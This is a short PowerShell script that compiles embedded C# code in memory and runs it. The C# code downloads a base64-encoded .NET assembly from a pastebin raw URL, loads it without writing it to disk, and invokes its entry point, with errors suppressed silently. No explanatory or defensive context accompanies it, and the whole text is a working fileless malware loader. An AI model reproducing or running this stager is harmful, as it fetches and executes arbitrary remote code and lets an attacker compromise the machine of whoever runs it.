$code = @"
using System.Net;
using System.Reflection;
using System;
using System.Threading;
namespace Nyan
{
    public class Cat
    {
        public void Run()
        {
            using (WebClient wc = new WebClient())
            {
               // new Thread(() =>
              //  {
                    try
                    {
                        Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://pastebin.com/raw/AVqc54gv")));
                        MethodInfo Metinf = asm.EntryPoint;
                        object InjObj = asm.CreateInstance(Metinf.Name);
                        object[] parameters = new object[1];  // C#
                        if (Metinf.GetParameters().Length == 0)
                        {
                            parameters = null; // VB.NET
                        }
                        Metinf.Invoke(InjObj, parameters);
                    }
                    catch { return; }
              //  })
              //  { IsBackground = false }.Start();
            }
        }
    }
}
"@

Add-Type -TypeDefinition $code;
$instance = New-Object Nyan.Cat;
$instance.Run();